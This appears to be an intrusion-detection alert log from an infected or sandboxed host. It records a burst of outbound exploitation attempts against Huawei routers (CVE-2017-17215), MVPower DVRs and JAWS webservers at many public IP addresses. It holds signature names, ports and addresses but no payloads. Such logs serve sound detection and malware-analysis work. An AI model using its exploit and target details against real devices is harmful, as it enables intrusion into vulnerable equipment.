06/01/24-18:15:55.263597	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37740	37215	192.168.2.23	156.108.129.83
06/01/24-18:15:54.256596	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41396	37215	192.168.2.23	197.204.51.155
06/01/24-18:15:56.306118	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36192	37215	192.168.2.23	156.29.82.209
06/01/24-18:15:56.245457	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41602	80	192.168.2.23	104.124.188.94
06/01/24-18:15:55.260121	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45602	37215	192.168.2.23	41.198.182.7
06/01/24-18:15:54.274950	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50200	37215	192.168.2.23	197.17.222.156
06/01/24-18:15:53.240112	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47714	80	192.168.2.23	204.135.242.117
06/01/24-18:15:54.240667	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39030	80	192.168.2.23	217.30.58.227
06/01/24-18:15:54.256207	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45658	37215	192.168.2.23	156.125.82.99
06/01/24-18:15:55.268493	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44224	80	192.168.2.23	17.7.166.25
06/01/24-18:15:55.259707	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42860	37215	192.168.2.23	156.86.90.224
06/01/24-18:15:56.246355	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47646	80	192.168.2.23	108.218.98.173
06/01/24-18:15:56.308137	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48752	37215	192.168.2.23	197.198.161.205
06/01/24-18:15:54.253620	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46024	37215	192.168.2.23	156.8.32.149
06/01/24-18:15:54.252728	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57592	37215	192.168.2.23	156.94.219.6
06/01/24-18:15:53.240978	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53558	80	192.168.2.23	81.48.62.152
06/01/24-18:15:54.253278	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58966	37215	192.168.2.23	156.212.207.12
06/01/24-18:15:53.241607	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52886	80	192.168.2.23	80.252.121.45
06/01/24-18:15:53.239929	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36546	80	192.168.2.23	196.44.130.154
06/01/24-18:15:54.239533	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41362	80	192.168.2.23	41.189.31.68
06/01/24-18:15:55.232018	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43444	80	192.168.2.23	106.211.139.161
06/01/24-18:15:56.307512	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54276	37215	192.168.2.23	156.52.23.232
06/01/24-18:15:53.240886	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39732	80	192.168.2.23	128.151.195.102
06/01/24-18:15:53.241435	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48762	80	192.168.2.23	191.185.132.251
06/01/24-18:15:53.240062	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51500	80	192.168.2.23	187.75.110.93
06/01/24-18:15:54.240025	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33688	80	192.168.2.23	41.108.232.85
06/01/24-18:15:56.245427	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59018	80	192.168.2.23	219.119.143.84
06/01/24-18:15:55.259667	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53642	37215	192.168.2.23	197.239.183.143
06/01/24-18:15:56.288088	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53796	37215	192.168.2.23	41.199.32.68
06/01/24-18:15:54.254259	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59806	37215	192.168.2.23	197.33.181.12
06/01/24-18:15:54.238224	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49524	80	192.168.2.23	133.130.243.96
06/01/24-18:15:53.239557	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56234	80	192.168.2.23	95.239.226.123
06/01/24-18:15:53.241160	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42950	80	192.168.2.23	160.171.210.51
06/01/24-18:15:53.240794	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33210	80	192.168.2.23	155.78.6.227
06/01/24-18:15:56.255231	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44092	80	192.168.2.23	98.147.145.185
06/01/24-18:15:53.237898	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37480	80	192.168.2.23	92.126.90.34
06/01/24-18:15:56.306153	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59834	37215	192.168.2.23	197.148.128.8
06/01/24-18:15:56.308094	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36302	37215	192.168.2.23	156.166.201.246
06/01/24-18:15:54.273749	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47490	37215	192.168.2.23	41.197.206.174
06/01/24-18:15:54.237993	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47054	80	192.168.2.23	213.99.204.125
06/01/24-18:15:54.253940	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36686	37215	192.168.2.23	197.78.230.78
06/01/24-18:15:56.307179	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37022	37215	192.168.2.23	197.84.49.239
06/01/24-18:15:54.253854	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42030	37215	192.168.2.23	197.154.217.12
06/01/24-18:15:55.264788	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56736	80	192.168.2.23	220.57.15.58
06/01/24-18:15:55.263107	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52304	37215	192.168.2.23	41.136.68.81
06/01/24-18:15:56.244830	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54968	80	192.168.2.23	90.145.31.137
06/01/24-18:15:54.238439	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36208	80	192.168.2.23	147.135.44.218
06/01/24-18:15:54.251747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40380	37215	192.168.2.23	41.29.240.127
06/01/24-18:15:54.274833	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46780	37215	192.168.2.23	156.186.16.118
06/01/24-18:15:53.241729	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34492	80	192.168.2.23	123.28.179.254
06/01/24-18:15:55.267076	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37184	80	192.168.2.23	168.201.130.187
06/01/24-18:15:55.266307	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40972	80	192.168.2.23	192.241.94.64
06/01/24-18:15:54.257094	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51850	37215	192.168.2.23	41.201.77.122
06/01/24-18:15:53.239596	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51050	80	192.168.2.23	108.85.135.218
06/01/24-18:15:56.255251	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47712	80	192.168.2.23	87.44.98.223
06/01/24-18:15:54.251831	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35770	37215	192.168.2.23	197.81.225.105
06/01/24-18:15:54.275663	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54092	37215	192.168.2.23	197.165.142.230
06/01/24-18:15:53.238606	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55292	80	192.168.2.23	140.5.76.153
06/01/24-18:15:56.245457	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41602	80	192.168.2.23	104.124.188.94
06/01/24-18:15:56.246218	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47938	80	192.168.2.23	52.6.122.212
06/01/24-18:15:54.251612	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38836	37215	192.168.2.23	156.141.233.124
06/01/24-18:15:55.266913	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43296	80	192.168.2.23	181.7.89.239
06/01/24-18:15:55.272625	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34184	80	192.168.2.23	169.128.130.40
06/01/24-18:15:53.241529	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58654	80	192.168.2.23	89.243.242.221
06/01/24-18:15:54.252244	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48832	37215	192.168.2.23	156.198.87.202
06/01/24-18:15:54.252468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45594	37215	192.168.2.23	156.9.236.107
06/01/24-18:15:56.306780	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50380	37215	192.168.2.23	41.223.56.124
06/01/24-18:15:55.272559	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55190	80	192.168.2.23	77.114.121.8
06/01/24-18:15:56.245386	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54684	80	192.168.2.23	37.201.193.121
06/01/24-18:15:56.307739	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41044	37215	192.168.2.23	197.65.82.161
06/01/24-18:15:56.244182	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56476	80	192.168.2.23	36.17.37.52
06/01/24-18:15:56.246558	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40260	80	192.168.2.23	39.154.44.113
06/01/24-18:15:56.308432	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59848	37215	192.168.2.23	41.145.26.98
06/01/24-18:15:56.246394	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33772	80	192.168.2.23	141.114.69.138
06/01/24-18:15:54.238030	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55740	80	192.168.2.23	50.27.20.241
06/01/24-18:15:55.264769	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48562	80	192.168.2.23	177.213.21.177
06/01/24-18:15:56.305831	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42754	37215	192.168.2.23	197.119.106.167
06/01/24-18:15:55.260455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41000	37215	192.168.2.23	41.117.26.254
06/01/24-18:15:54.251572	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45586	37215	192.168.2.23	41.144.64.245
06/01/24-18:15:55.259765	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55908	37215	192.168.2.23	197.165.52.203
06/01/24-18:15:55.259281	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44494	37215	192.168.2.23	156.41.49.187
06/01/24-18:15:54.274702	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52758	37215	192.168.2.23	41.116.22.183
06/01/24-18:15:53.241794	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57298	80	192.168.2.23	24.4.140.180
06/01/24-18:15:56.245630	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49634	80	192.168.2.23	13.25.240.24
06/01/24-18:15:56.254930	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55984	80	192.168.2.23	103.40.87.16
06/01/24-18:15:54.275705	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51478	37215	192.168.2.23	197.60.23.205
06/01/24-18:15:56.255231	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44092	80	192.168.2.23	98.147.145.185
06/01/24-18:15:54.209240	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58314	80	192.168.2.23	65.91.194.133
06/01/24-18:15:54.256025	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34408	37215	192.168.2.23	197.214.96.213
06/01/24-18:15:53.239961	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38194	80	192.168.2.23	48.234.108.156
06/01/24-18:15:53.241765	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50824	80	192.168.2.23	87.130.72.182
06/01/24-18:15:54.254304	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38486	37215	192.168.2.23	41.84.23.118
06/01/24-18:15:53.239377	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37288	80	192.168.2.23	41.62.241.247
06/01/24-18:15:54.256774	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54536	37215	192.168.2.23	197.248.232.76
06/01/24-18:15:56.254790	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39154	80	192.168.2.23	195.190.120.96
06/01/24-18:15:54.253083	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55144	37215	192.168.2.23	41.61.6.231
06/01/24-18:15:56.255297	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51122	80	192.168.2.23	112.77.116.122
06/01/24-18:15:54.252942	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44394	37215	192.168.2.23	41.24.85.120
06/01/24-18:15:55.259918	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60760	37215	192.168.2.23	41.102.253.127
06/01/24-18:15:56.254886	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59050	80	192.168.2.23	51.132.195.236
06/01/24-18:15:54.253661	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55562	37215	192.168.2.23	156.207.94.97
06/01/24-18:15:56.255441	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50510	80	192.168.2.23	80.104.124.102
06/01/24-18:15:54.251427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40714	37215	192.168.2.23	197.215.123.203
06/01/24-18:15:55.267432	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56660	80	192.168.2.23	208.88.36.60
06/01/24-18:15:56.307255	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35724	37215	192.168.2.23	156.177.93.194
06/01/24-18:15:56.306811	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46756	37215	192.168.2.23	156.208.201.65
06/01/24-18:15:53.237997	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60788	80	192.168.2.23	193.77.243.238
06/01/24-18:15:54.273711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37362	37215	192.168.2.23	156.48.71.40
06/01/24-18:15:54.251665	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43196	37215	192.168.2.23	41.64.231.154
06/01/24-18:15:55.266961	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42318	80	192.168.2.23	101.102.189.161
06/01/24-18:15:55.266286	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49578	80	192.168.2.23	48.82.38.9
06/01/24-18:15:55.267784	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48642	80	192.168.2.23	211.236.21.25
06/01/24-18:15:55.272091	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33304	80	192.168.2.23	117.221.193.160
06/01/24-18:15:55.266766	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37100	80	192.168.2.23	159.174.137.59
06/01/24-18:15:56.308066	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57036	37215	192.168.2.23	41.97.81.103
06/01/24-18:15:54.251517	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52998	37215	192.168.2.23	156.85.186.89
06/01/24-18:15:54.254927	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46710	37215	192.168.2.23	197.109.223.59
06/01/24-18:15:54.255235	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40978	37215	192.168.2.23	156.158.221.167
06/01/24-18:15:54.255840	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44038	37215	192.168.2.23	156.42.21.62
06/01/24-18:15:54.274432	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38934	37215	192.168.2.23	156.61.170.174
06/01/24-18:15:55.261573	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60606	37215	192.168.2.23	41.150.123.75
06/01/24-18:15:54.275211	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32910	37215	192.168.2.23	197.236.18.225
06/01/24-18:15:53.247144	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44808	80	192.168.2.23	188.248.176.49
06/01/24-18:15:56.306047	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46258	37215	192.168.2.23	41.136.89.40
06/01/24-18:15:54.240412	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35516	80	192.168.2.23	209.98.115.136
06/01/24-18:15:54.239076	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33318	80	192.168.2.23	67.147.165.34
06/01/24-18:15:56.307866	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57742	37215	192.168.2.23	197.149.153.183
06/01/24-18:15:54.239370	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50474	80	192.168.2.23	39.24.219.249
06/01/24-18:15:56.245225	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45024	80	192.168.2.23	201.6.73.207
06/01/24-18:15:56.255180	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32818	80	192.168.2.23	158.200.167.191
06/01/24-18:15:56.287102	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46430	80	192.168.2.23	190.51.59.69
06/01/24-18:15:53.239856	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54416	80	192.168.2.23	146.97.242.87
06/01/24-18:15:56.244111	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53508	80	192.168.2.23	177.237.184.162
06/01/24-18:15:56.305747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33730	37215	192.168.2.23	156.168.190.123
06/01/24-18:15:55.266749	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36502	80	192.168.2.23	38.111.93.178
06/01/24-18:15:53.240081	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33834	80	192.168.2.23	106.16.15.220
06/01/24-18:15:56.246172	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58268	80	192.168.2.23	92.66.196.17
06/01/24-18:15:54.254354	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60452	37215	192.168.2.23	156.6.171.128
06/01/24-18:15:54.252900	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39892	37215	192.168.2.23	197.176.79.105
06/01/24-18:15:54.256857	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57300	37215	192.168.2.23	156.13.117.57
06/01/24-18:15:54.253587	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58096	37215	192.168.2.23	156.112.166.96
06/01/24-18:15:56.245550	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41354	80	192.168.2.23	122.96.155.142
06/01/24-18:15:54.237923	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58546	80	192.168.2.23	57.54.162.72
06/01/24-18:15:54.253703	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37980	37215	192.168.2.23	197.18.253.163
06/01/24-18:15:53.247238	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43374	80	192.168.2.23	112.217.71.237
06/01/24-18:15:54.252848	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45532	37215	192.168.2.23	41.232.72.207
06/01/24-18:15:56.244374	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38836	80	192.168.2.23	19.188.175.96
06/01/24-18:15:54.256278	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37590	37215	192.168.2.23	197.1.219.71
06/01/24-18:15:56.246983	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57912	80	192.168.2.23	133.6.1.52
06/01/24-18:15:55.233612	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47420	37215	192.168.2.23	197.83.168.107
06/01/24-18:15:56.244662	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52258	80	192.168.2.23	185.108.7.250
06/01/24-18:15:54.239201	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44888	80	192.168.2.23	161.43.121.185
06/01/24-18:15:56.244458	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46316	80	192.168.2.23	117.23.22.23
06/01/24-18:15:55.260926	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54010	37215	192.168.2.23	41.131.43.249
06/01/24-18:15:56.287981	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39772	37215	192.168.2.23	41.209.117.218
06/01/24-18:15:54.239637	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45958	80	192.168.2.23	146.155.139.101
06/01/24-18:15:56.308318	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45824	37215	192.168.2.23	156.126.49.34
06/01/24-18:15:56.306669	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52088	37215	192.168.2.23	41.174.41.196
06/01/24-18:15:54.238560	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43196	80	192.168.2.23	60.224.142.1
06/01/24-18:15:55.266672	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56944	80	192.168.2.23	96.101.32.166
06/01/24-18:15:53.238730	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52794	80	192.168.2.23	128.101.239.153
06/01/24-18:15:53.241078	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55216	80	192.168.2.23	51.180.72.227
06/01/24-18:15:56.254555	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34994	80	192.168.2.23	168.145.45.26
06/01/24-18:15:56.287130	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47654	80	192.168.2.23	194.252.67.19
06/01/24-18:15:53.239991	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32914	80	192.168.2.23	45.238.94.61
06/01/24-18:15:55.265357	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49782	80	192.168.2.23	102.116.45.43
06/01/24-18:15:55.266992	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45778	80	192.168.2.23	51.178.217.185
06/01/24-18:15:53.237801	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50616	80	192.168.2.23	198.208.129.228
06/01/24-18:15:55.272495	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45794	80	192.168.2.23	85.180.164.31
06/01/24-18:15:56.245577	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52106	80	192.168.2.23	165.160.100.184
06/01/24-18:15:53.240757	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56784	80	192.168.2.23	162.133.179.162
06/01/24-18:15:55.265177	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58618	80	192.168.2.23	186.26.240.197
06/01/24-18:15:56.224351	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47646	80	192.168.2.23	120.22.130.14
06/01/24-18:15:55.268163	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37028	80	192.168.2.23	179.146.88.219
06/01/24-18:15:56.307148	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37048	37215	192.168.2.23	197.208.62.80
06/01/24-18:15:56.307479	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60150	37215	192.168.2.23	156.63.174.230
06/01/24-18:15:55.262015	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34410	37215	192.168.2.23	197.138.203.250
06/01/24-18:15:54.237678	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37034	80	192.168.2.23	194.244.242.70
06/01/24-18:15:55.258791	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39256	37215	192.168.2.23	197.235.98.188
06/01/24-18:15:55.268455	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39326	80	192.168.2.23	119.120.56.238
06/01/24-18:15:54.238640	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53032	80	192.168.2.23	53.223.178.64
06/01/24-18:15:54.239572	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50710	80	192.168.2.23	198.203.182.175
06/01/24-18:15:54.253777	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52106	37215	192.168.2.23	156.93.240.94
06/01/24-18:15:54.251906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33272	37215	192.168.2.23	41.104.188.254
06/01/24-18:15:53.239887	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54180	80	192.168.2.23	222.84.171.34
06/01/24-18:15:55.261023	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57540	37215	192.168.2.23	156.172.199.73
06/01/24-18:15:54.241554	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43640	80	192.168.2.23	123.15.159.153
06/01/24-18:15:55.268308	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39704	80	192.168.2.23	41.182.33.58
06/01/24-18:15:55.263326	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60588	37215	192.168.2.23	156.181.139.113
06/01/24-18:15:55.267551	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35132	80	192.168.2.23	80.169.53.160
06/01/24-18:15:53.246833	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47804	80	192.168.2.23	161.166.48.249
06/01/24-18:15:55.261791	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52352	37215	192.168.2.23	41.12.1.243
06/01/24-18:15:54.274390	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46806	37215	192.168.2.23	41.87.219.221
06/01/24-18:15:54.238712	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39940	80	192.168.2.23	69.42.202.171
06/01/24-18:15:54.240074	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38306	80	192.168.2.23	87.233.87.119
